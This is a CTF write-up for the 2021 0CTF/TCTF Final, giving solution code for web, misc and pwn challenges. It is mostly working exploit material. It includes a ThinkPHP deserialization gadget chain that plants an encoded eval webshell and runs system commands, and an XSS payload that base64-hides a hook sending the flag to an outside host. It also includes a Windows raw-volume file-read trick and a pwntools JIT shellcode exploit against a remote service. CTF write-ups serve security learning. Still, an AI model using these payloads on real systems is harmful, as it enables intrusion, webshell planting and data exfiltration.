2021 0CTF/TCTF Final Writeup
[toc]
Web
Win-Win
readfile finnaly call WINAPI CreateFileW
https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
When opening a volume or removable media drive (for example, a floppy disk drive or flash memory thumb drive), the lpFileName string should be the following form: “.\X:”. Do not use a trailing backslash (), which indicates the root directory of a drive. The following table shows some examples of drive strings.
visit http://185e90fa7b13881cc31931a9de3c31f4.winwin.pwnable.org/?win=\\.\C:
to download C: and get the path of upload temp path : C:/THIS_IS_A_SECRET_PATH_107B1177348CC063A0713838282B1C27892D5FE2/tmp/
Upload files and use php<< to include
RevengePHP
<?php
namespace think\model{
class Merge {
protected $connection = [];
public function __construct()
{
$this->connection = [
"type"=>"\\Exception"
];
}
}
}
namespace think{
class Request{
protected $get = [];
protected $filter;
public function __construct()
{
$this->get = ["aaaa<getAttr>xx<"=>'/readflag'];
$this->filter = ["system"];
}
}
}
namespace think\cache\driver{
use think\Request;
class Memcache{
protected $tag;
protected $handler = null;
protected $options = [];
public function __construct(){
$this->handler = new Request();
$this->tag = true;
$this->options = [
"prefix"=>"aaaa"
];
}
}
}
namespace think\session\driver{
class Memcache{
protected $handler = null;
public function __construct()
{
$this->handler = new \think\cache\driver\Memcache();
}
};
}
namespace think\cache\driver{
class File {
protected $options = [];
protected $tag;
public function __construct() {
$this->tag = 'xige';
$this->options = [
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
'data_compress' => false
];
}
}
}
namespace think\session\driver{
use think\cache\driver\File;
class Memcached {
protected $handler;
function __construct() {
$this->handler=new File();
}
}
}
namespace think\console{
use think\session\driver\Memcached;
use think\model\Merge;
class Output {
protected $styles = [];
private $handle;
function __construct() {
$this->styles = ["getAttr", 'info',
'error',
'comment',
'question',
'highlight',
'warning'];
$this->handle = new \think\session\driver\Memcache();
}
}
}
namespace think\db{
use think\console\Output;
class Query {
protected $model;
function __construct() {
$this->model = new Output();
}
}
}
namespace think\model\relation{
use think\console\Output;
use think\db\Query;
class HasOne {
public $model;
protected $selfRelation;
protected $parent;
protected $query;
protected $bindAttr = [];
public function __construct() {
$this->query = new Query("xx", 'think\console\Output');
$this->model = false;
$this->selfRelation = false;
$this->bindAttr = ["xx" => "xx"];
}}
}
namespace think\model{
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model {
}
class Pivot extends Model {
public $parent;
protected $append = [];
protected $data = [];
protected $error;
protected $model;
function __construct() {
$this->parent = new Output();
$this->error = new HasOne();
$this->model = "test";
$this->append = ["test" => "getError"];
$this->data = ["panrent" => "true"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}
}
namespace {
$obj = new think\process\pipes\Windows();
$payload = serialize($obj);
echo urlencode ($payload);
}
useCTF()
fetch("http://1.116.229.17:5000/contact", {
"headers": {
"accept": "*/*",
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8",
"cache-control": "no-cache",
"content-type": "application/json",
"pragma": "no-cache"
},
"referrer": "http://1.116.229.17:5000/submit?._proto__[allowHTML]=1&name=%3Cimg%20src/onerror%3Deval(atob`U3RyaW5nLnByb3RvdHlwZS5zcGxpdD1mdW5jdGlvbihzKXtmZXRjaCgnLy9kLml2MC5jYy9mbGFnPycrdGhpcy50b1N0cmluZygpKX07`)%3E",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{\"q\":\"._proto__[allowHTML]=1&name=%3Cimg%20src/onerror%3Deval(atob`U3RyaW5nLnByb3RvdHlwZS5zcGxpdD1mdW5jdGlvbihzKXtmZXRjaCgnLy9kLml2MC5jYy9mbGFnPycrdGhpcy50b1N0cmluZygpKX07`)%3E\",\"captcha\":\"356\"}",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
Misc
ezMat
# cal.sage
p = 71
E_num = [[31,45,41,12,36,43,45,51,25,2,64],[68,24,32,35,52,13,64,10,14,2,40],[34,34,64,32,67,25,21,57,31,6,56],[7,17,12,33,54,66,28,25,40,23,26],[14,65,70,35,67,55,47,36,36,42,57],[68,28,33,0,45,52,59,29,52,41,46],[60,35,0,21,24,44,49,51,1,6,35],[20,21,44,57,23,35,30,28,16,23,0],[24,64,54,53,35,42,40,17,3,0,36],[32,53,39,47,39,56,52,15,39,8,9],[7,57,43,5,38,59,2,25,2,67,12]]
R_num = [[53,28,20,41,32,17,13,46,34,37,24],[0,9,54,25,36,1,21,24,56,51,24],[61,41,10,56,57,28,49,4,44,70,34],[47,58,36,53,68,66,34,69,22,25,39],[4,70,21,36,53,26,59,51,3,44,28],[41,23,39,37,1,28,63,64,37,35,51],[43,31,16,36,45,5,35,52,7,45,41],[26,3,54,58,50,37,27,49,3,46,11],[14,48,18,46,59,64,62,31,42,41,65],[17,50,68,10,24,40,58,46,48,14,58],[46,24,48,32,16,1,27,18,27,17,20]]
E = matrix(GF(p), E_num)
R = matrix(GF(p), R_num)
reE = E.inverse()
X = matrix(GF(p), R_num)
for k in range(24):
i, j = 5*k // 11, 5*k % 11
E_num[i][j] = -1
################################################################
A = zero_matrix(GF(p), 11, 11)
temp_M = zero_matrix(GF(p), 11, 11)
# 用于计算 A 第 3-11 行的取值(唯一)
def cal_0(iline):
ret_list = []
true_cnt = 0
cnt = E_num[iline].count(-1)
# print(f"total: {p**cnt}")
for stat_num in range(p**cnt):
tA = zero_matrix(GF(p), 11, 11)
temp_num = stat_num
for j in range(11):
if(E_num[iline][j] == -1):
tA[iline, j] = temp_num % p
temp_num //= p
if(temp_num > 0):
break
temp_M = (tA+R)*reE
can = True
for j in range(iline):
if(temp_M[iline, j] != 0):
can = False
break
if(can):
true_cnt += 1
for j in range(11):
ret_list.append(tA[iline, j])
return (true_cnt,ret_list)
# 用于计算 A 第 2 行的所有可能取值方案
# 该行只有第 4 列和第 9 列有值,其他为 0
def cal_1(iline):
ret_list = []
true_cnt = 0
cnt = E_num[iline].count(-1)
# print(f"total: {p**cnt}")
for stat_num in range(p**cnt):
tA = zero_matrix(GF(p), 11, 11)
temp_num = stat_num
for j in range(11):
if(E_num[iline][j] == -1):
tA[iline, j] = temp_num % p
temp_num //= p
if(temp_num > 0):
break
temp_M = (tA+R)*reE
can = True
for j in range(iline):
if(temp_M[iline, j] != 0):
can = False
break
if(can):
true_cnt += 1
ret_list.append(int(tA[iline, 4]))
ret_list.append(int(tA[iline, 9]))
return (true_cnt,ret_list)
#line_num = 1
#cal_ret = cal_1(line_num)
# 第二行有 71 种可能的取值方案,list 中每两个代表一种方案(该行只有第4,9列有值)
# (71, [36, 0, 25, 1, 14, 2, 3, 3, 63, 4, 52, 5, 41, 6, 30, 7, 19, 8, 8, 9, 68, 10, 57, 11, 46, 12, 35, 13, 24, 14, 13, 15, 2, 16, 62, 17, 51, 18, 40, 19, 29, 20, 18, 21, 7, 22, 67, 23, 56, 24, 45, 25, 34, 26, 23, 27, 12, 28, 1, 29, 61, 30, 50, 31, 39, 32, 28, 33, 17, 34, 6, 35, 66, 36, 55, 37, 44, 38, 33, 39, 22, 40, 11, 41, 0, 42, 60, 43, 49, 44, 38, 45, 27, 46, 16, 47, 5, 48, 65, 49, 54, 50, 43, 51, 32, 52, 21, 53, 10, 54, 70, 55, 59, 56, 48, 57, 37, 58, 26, 59, 15, 60, 4, 61, 64, 62, 53, 63, 42, 64, 31, 65, 20, 66, 9, 67, 69, 68, 58, 69, 47, 70])
#print(cal_ret)
#for iline in range(2, 11, 1):
# cal_ret = cal_0(iline)
# for j in range(11):
# A[iline, j] = cal_ret[1][j]
#print(A)
"""
A =
[ 0 0 0 0 0 0 0 0 0 0 0]
[ 0 0 0 0 0 0 0 0 0 0 0]
[ 0 0 0 0 0 0 0 0 12 0 0]
[ 0 0 55 0 0 0 0 3 0 0 0]
[ 0 14 0 0 0 0 37 0 0 0 0]
[16 0 0 0 0 4 0 0 0 0 12]
[ 0 0 0 0 25 0 0 0 0 18 0]
[ 0 0 0 48 0 0 0 0 17 0 0]
[ 0 0 61 0 0 0 0 25 0 0 0]
[ 0 64 0 0 0 0 38 0 0 0 0]
[13 0 0 0 0 50 0 0 0 0 0]
"""
# 把前面的整合一下
# 第一行由于没有任何限制,需要爆破
# 第二行有 71 种可能,爆破
# O(71^4)
from hashlib import sha256
alphabet = '=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$!?_{}<>'
alen = len(alphabet)
b = [36, 0, 25, 1, 14, 2, 3, 3, 63, 4, 52, 5, 41, 6, 30, 7, 19, 8, 8, 9, 68, 10, 57, 11, 46, 12, 35, 13, 24, 14, 13, 15, 2, 16, 62, 17, 51, 18, 40, 19, 29, 20, 18, 21, 7, 22, 67, 23, 56, 24, 45, 25, 34, 26, 23, 27, 12, 28, 1, 29, 61, 30, 50, 31, 39, 32, 28, 33, 17, 34, 6, 35, 66, 36, 55, 37, 44, 38, 33, 39, 22, 40, 11, 41, 0, 42, 60, 43, 49, 44, 38, 45, 27, 46, 16, 47, 5, 48, 65, 49, 54, 50, 43, 51, 32, 52, 21, 53, 10, 54, 70, 55, 59, 56, 48, 57, 37, 58, 26, 59, 15, 60, 4, 61, 64, 62, 53, 63, 42, 64, 31, 65, 20, 66, 9, 67, 69, 68, 58, 69, 47, 70]
c = [0,12,55,3,14,37,16,4,12,25,18,48,17,61,25,64,38,13,50]
cflag = ""
for i in c:
cflag += alphabet[i]
print(cflag)
flag = ""
for i in range(alen):
for j in range(alen):
for k in range(alen):
for l in range(71):
flag = alphabet[i]+alphabet[j]+alphabet[k]+alphabet[b[l*2]]+alphabet[b[l*2+1]]+cflag
if(sha256(flag.encode()).hexdigest() == '95cb911a467482cc0f879861532e9ec7680b0846b48a9de25fb13b01c583d9f8'):
print(flag)
exit()
# flag{6yY4L=bS2dAf3bohLgYo!BcN}
eeenginx
use nc to send
GET / HTTP/1.1
Host: 118.195.199.18:12345
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eeenginx97826431357894989;
Connection: close
Content-Length: 2
ls
how_to_generate
import os
import binascii
import socketserver
import random
import signal
import string
from hashlib import sha256
import zlib
from datetime import datetime
import lark
import re
import itertools
import random
import string
# from pwn import *
import pwn
from hashlib import sha256
import copy
import os
import binascii
import socketserver
import random
import signal
import string
from hashlib import sha256
import zlib
from datetime import datetime
import lark
import re
import itertools
import random
import string
# from pwn import *
import pwn
from hashlib import sha256
import copy
# pwn.context.log_level = 'debug'
import random
import string
from pwn import *
from hashlib import sha256
N = 0x10 # 4096
MAXSIZE = 0x200000 # 2097152
G_I = 0
G_j = 0
prim = ["LETTER", "WORD", "NUMBER", "DIGIT"]
ops = "!@#$%^&*-+~"
def prob(num):
if random.randint(0, 99) < num:
return True
else:
return False
def genstr():
return "".join([random.choice(string.ascii_letters+string.digits) for _ in range(random.randint(3, 6))])
def genexpr():
res = ""
res += random.choice(prim)
res += " "
for i in range(random.randint(2, 4)):
res += '"'+random.choice(ops)+'"'
res += " "
if prob(80):
res += random.choice(prim)
else:
res += "expression"
res += " "
return res
def genstmt():
res = ""
res += '"'+genstr()+'"'
res += " "
laststr = True
for i in range(random.randint(3, 8)):
if not laststr and prob(60):
res += '"'+genstr()+'"'
laststr = True
else:
x = random.randint(0, 99)
if x < 60:
res += "expression"
elif x < 90:
res += random.choice(prim)
else:
res += "statement"
laststr = False
res += " "
return res
def gen_grammar():
gram = '''%import common.LETTER
%import common.WORD
%import common.NUMBER
%import common.DIGIT
%import common.WS
%ignore WS
start: statement+
'''
num = 0
exprs = "expression: "
for i in range(50):
if i != 0:
exprs += " | "
exprs += genexpr()
exprs += "-> cov_%d" % num
num += 1
exprs += "\n"
gram += exprs
# #add
# gram += ' | WORD -> cov_44\n'
# gram += ' | DIGIT -> cov_45\n'
# gram += ' | WORD DIGIT expression -> cov_46\n'
stmts = "statement: "
for i in range(100):
if i != 0:
stmts += " | "
stmts += genstmt()
stmts += "-> cov_%d" % num
num += 1
stmts += "\n"
gram += stmts
# #add
# gram += ' | "popko" expression -> cov_144\n'
return gram
def collect_cov(ast):
cov = 0
if isinstance(ast, lark.tree.Tree):
for ch in ast.children:
cov |= collect_cov(ch)
if ast.data.startswith('cov_'):
num = int(ast.data[4:])
cov |= (1 << num)
return cov
def expr_filter(line):
return line.replace('WORD', 'w').replace('LETTER', 'e').replace('NUMBER', '2').replace('DIGIT', '3').replace('"', '')
def stat_filter(line, myexp1):
return expr_filter(line).replace('expression', myexp1).replace('"', '')
def getexp1(ss):
len1 = len('Give me XXXX:your grammar today:\n%import common.LETTER\n%import common.WORD\n%import common.NUMBER\n%import common.DIGIT\n%import common.WS\n%ignore WS\n\nstart: statement+\n\nexpression: ')
expressions = ss[0][len1:]
expressionslist = expressions.split("|")
myexp1 = []
finalexp1 = copy.deepcopy(expressionslist)
for i in expressionslist:
line = (i.strip())
if(re.findall('expression', line) == []):
finalexp1.remove(i) # 删除已经构造的
line = expr_filter(line).split('->')[0]
myexp1.append(line)
# print("myexp1:")
# print(len(myexp1))
count = len(finalexp1)
for i in range(count):
line = (finalexp1[i].strip())
# if(re.findall('expression', line) != []):
# res = line.replace("expression",myexp1[0])
finalexp1[i] = expr_filter(line).replace("expression", myexp1[0]).split('->')[0]
# print(finalexp1[i])
# finalexp1 += myexp1#不用加上
return myexp1, finalexp1
def getexp2(ss, myexp1):
statements = ss[1]
statementslist = (statements.split("|"))
myexp2 = []
finalexp2 = copy.deepcopy(statementslist)
for i in statementslist:
line = (i.strip())
if(re.findall('statement', line) == []):
finalexp2.remove(i) # 删除已经构造的
line = stat_filter(line, myexp1[0]).split('->')[0]
myexp2.append(line)
return myexp2, finalexp2
def getexp2_1(myexp2, finalexp2, finalexp1,myexp1):
count = len(finalexp2)
print(len(finalexp1))
print(len(finalexp2))
for i in range(count):
line = (finalexp2[i].strip())
if i == 0:
finalexp2[i] = stat_filter(line, myexp1[0]).replace("statement", myexp2[0]).split('->')[0]
for my1 in myexp1:
finalexp2[i] += stat_filter(line, my1).replace("statement", myexp2[0]).split('->')[0]
for f1 in finalexp1:
finalexp2[i] += stat_filter(line, f1).replace(
"statement", myexp2[0]).split('->')[0]
for my2 in myexp2:
finalexp2[i] += stat_filter(line, myexp1[0]).replace("statement", my2).split('->')[0]
else:
finalexp2[i] = stat_filter(line, myexp1[0]).replace("statement", myexp2[0]).split('->')[0]
# print(finalexp2[i])
# finalexp2 += myexp2#不需要加
return finalexp2
# print("myexp2:")
# print(len(myexp2[:24]))
def get_0(tot):
a = bin(tot)[2:][::-1]
print("get_0(tot):")
print(a)
list_0 = []
for i in range(len(a)):
if (a[i] == '0'):
list_0.append(i)
return list_0
def exp(gram):
# print(gram)
# parser = lark.Lark(gram)
# gram = gen_grammar()
ss = gram.split('statement:')
myexp1, finalexp1 = getexp1(ss)
myexp2, finalexp2 = getexp2(ss, myexp1)
finalexp2 = getexp2_1(myexp2,finalexp2,finalexp1,myexp1)
# dat = "".join(finalexp1).join(finalexp2)
# one = ("".join(myexp2)) # .replace(' ','')
exps = list(itertools.combinations(myexp2[:24], 20))
dat = ""
exp_sum = 0
for e in exps:
one = "".join(e)
dat += one+'|'
exp_sum += 1
if exp_sum == 4095:
# if exp_sum == 9:
break
finalexp = "".join(finalexp2)
# dat = dat[:-1]
dat = dat+finalexp
dat = zlib.compress(dat.encode())
length = len(dat)
dat = (binascii.b2a_hex(dat).decode()) # 706f706b6f313233
return length, dat
def getgram():
pwn.context.log_level = 'debug'
# io = pwn.remote('127.0.0.1', 10001)
# io = pwn.remote('8.129.107.19', 7777)
io = pwn.remote('121.5.253.92', 10001)
io.recvuntil(b'+')
suffix = io.recvuntil(b')')[:-1]
io.recvuntil(b'== ')
hash = io.recvline()[:-1].decode()
assert(len(suffix) == 16 and len(hash) == 64)
def solve_pow(suffix, hash):
while True:
xxxx = ''.join(random.choice(string.digits + string.ascii_letters) for _ in range(4))
print(xxxx)
if sha256((xxxx+suffix).encode('latin-1')).hexdigest() == hash:
return xxxx.encode()
def test(suffer, hash):
S = string.ascii_letters+string.digits
for i in S:
for j in S:
for m in S:
for k in S:
payload = i+j+m+k
str1 = str(payload) + suffer
if sha256(str1.encode('latin-1')).hexdigest() != hash:
pass
else:
return (str(payload))
print(suffix.decode())
print(hash)
io.sendline(test(suffix.decode(), hash))
res = (io.recvuntil(b'cov_149'))
print(res.decode())
io.recv()
# io.recv()
length, dat = exp(res.decode())
print(length)
print(dat)
# io.interactive()
io.send(str(length).encode())
io.recv()
io.send(dat.encode())
io.send('\n'.encode())
print(io.recv())
print(io.recv())
print(io.recv())
print()
# length, dat = exp(res.decode())
# print(length)
# print(dat)
getgram()
# gram = (gen_grammar())
# parser = lark.Lark(gram)
# # res = parser.parse("V5GD v ccc v")
# # res = parser.parse("V5GD v")
# # res = parser.parse("ccc v")
# # cov = collect_cov(res)
# # print(bin(cov))
# # print(gram)
# length, dat = exp(gram)
# sz = length
# assert sz < MAXSIZE
# sz = 2*sz+1
# r = sz
# res = b''
# while r > 0:
# res += dat.encode()
# r = sz - len(res)
# dat = bytes.fromhex(res.strip().decode('latin-1'))
# dat = zlib.decompress(dat)
# codes = dat.split(b'|')
# N = len(codes)
# tot = 0
# for i in range(N):
# one = codes[i].decode('latin-1')
# res = parser.parse(one)
# cov = collect_cov(res)
# tot |= cov
# print(bin(cov).count('1'))
# print(bin(cov))
# if i+1 == N:
# print("tot_before:")
# print(bin(tot))
# print("tot_before:")
# print(bin(tot))
Pwn
Secure Jit
# -*- coding: utf-8 -*
from pwn import *
import tty
import os
context.log_level = 'debug'
#p = process('./entry')
p = remote("118.195.199.18",40404)
payload = '''
def main():
A()
f = 0x050F5801
e = 0x6AE68948
e *=0x10000
e *=0x10000
e +=0x00000001
d = 0x5F8287E0
d +=0x5F8287E0
d *=0x10000
d *=0x10000
d +=0x31000001
c = 0x00BAE689
c *=0x10000
c *=0x10000
c +=0x48C78948
b = 0x050F5802
b *=0x10000
b *=0x10000
b +=0x6AF631E7
a = 0x79486761
a +=0x10000000
a *=0x10000
a *=0x10000
a +=0x6C666890
A()
A()
A()
A()
A()
A()
A() # <-rbp
def B():
a = 0
a = 0
a = 0
a = 0
a = 0
a = 0
a = 0
a = 0
'''
p.sendafter("<xxx>`.\n",payload)
p.shutdown_raw('send')
p.interactive()